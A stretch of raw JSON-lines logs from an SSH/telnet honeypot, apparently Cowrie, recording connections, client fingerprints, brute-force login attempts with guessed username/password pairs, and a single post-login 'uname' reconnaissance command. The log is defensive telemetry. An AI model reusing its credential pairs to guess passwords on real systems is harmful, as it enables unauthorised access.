f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:55.085654Z","src_ip":"101.36.111.155","session":"4208e074d9e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!","message":"login attempt [root/root123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:55.999632Z","src_ip":"101.36.111.155","session":"4208e074d9e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:57.251934Z","src_ip":"101.36.111.155","session":"4208e074d9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54392,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc372e662cca","protocol":"telnet","message":"New connection: 170.64.224.25:54392 (159.203.135.109:23) [session: dc372e662cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:58.671923Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":32856,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a8a2638d69","protocol":"ssh","message":"New connection: 165.154.137.186:32856 (10.17.0.5:22) [session: 27a8a2638d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:14.522438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:14.526864Z","src_ip":"165.154.137.186","session":"27a8a2638d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:14.797283Z","src_ip":"165.154.137.186","session":"27a8a2638d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1a9b79637f","protocol":"ssh","message":"New connection: 165.154.137.186:53926 (10.17.0.5:22) [session: 0f1a9b79637f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:15.209367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:15.213813Z","src_ip":"165.154.137.186","session":"0f1a9b79637f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:15.473259Z","src_ip":"165.154.137.186","session":"0f1a9b79637f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:15.611835Z","src_ip":"165.154.137.186","session":"27a8a2638d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:16.246269Z","src_ip":"165.154.137.186","session":"0f1a9b79637f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:16.884392Z","src_ip":"165.154.137.186","session":"27a8a2638d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:17.504476Z","src_ip":"165.154.137.186","session":"0f1a9b79637f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66e58e03e89","protocol":"ssh","message":"New connection: 103.187.165.26:37640 (10.17.0.5:22) [session: b66e58e03e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:23.770219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:23.773903Z","src_ip":"103.187.165.26","session":"b66e58e03e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:24.007508Z","src_ip":"103.187.165.26","session":"b66e58e03e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Speed123","message":"login attempt [root/Speed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:24.978135Z","src_ip":"103.187.165.26","session":"b66e58e03e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:26.215629Z","src_ip":"103.187.165.26","session":"b66e58e03e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49114,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f994725c0e4","protocol":"ssh","message":"New connection: 91.92.40.4:49114 (10.17.0.5:22) [session: 4f994725c0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:27.426060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:27.429149Z","src_ip":"91.92.40.4","session":"4f994725c0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.23788666725159,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:27.432044Z","src_ip":"170.64.224.25","session":"3ac1ff9899c8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:27.510346Z","src_ip":"91.92.40.4","session":"4f994725c0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:27.755942Z","src_ip":"91.92.40.4","session":"4f994725c0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:28.841782Z","src_ip":"91.92.40.4","session":"4f994725c0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"78da2872960b","protocol":"ssh","message":"New connection: 165.154.137.186:53972 (10.17.0.5:22) [session: 78da2872960b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:30.133106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:30.137746Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:30.400712Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:31.314381Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:32.055213Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:32.058216Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:32.326439Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:32.329900Z","src_ip":"165.154.137.186","session":"78da2872960b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.1585488319397,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:33.830318Z","src_ip":"170.64.224.25","session":"dc372e662cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53978,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b30d6cf0c0","protocol":"ssh","message":"New connection: 165.154.137.186:53978 (10.17.0.5:22) [session: 13b30d6cf0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:33.995771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.000116Z","src_ip":"165.154.137.186","session":"13b30d6cf0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6ba624a9550","protocol":"ssh","message":"New connection: 165.154.137.186:46320 (10.17.0.5:22) [session: d6ba624a9550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.062812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.068129Z","src_ip":"165.154.137.186","session":"d6ba624a9550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":47034,"dst_ip":"159.203.135.109","dst_port":22,"session":"3226b35f67cc","protocol":"ssh","message":"New connection: 198.1.75.59:47034 (159.203.135.109:22) [session: 3226b35f67cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.281412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.285335Z","src_ip":"198.1.75.59","session":"3226b35f67cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.287618Z","src_ip":"165.154.137.186","session":"13b30d6cf0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.338403Z","src_ip":"165.154.137.186","session":"d6ba624a9550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.366621Z","src_ip":"198.1.75.59","session":"3226b35f67cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53936,"dst_ip":"10.17.0.5","dst_port":22,"session":"614aebb2a227","protocol":"ssh","message":"New connection: 165.154.137.186:53936 (10.17.0.5:22) [session: 614aebb2a227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.472511Z"}
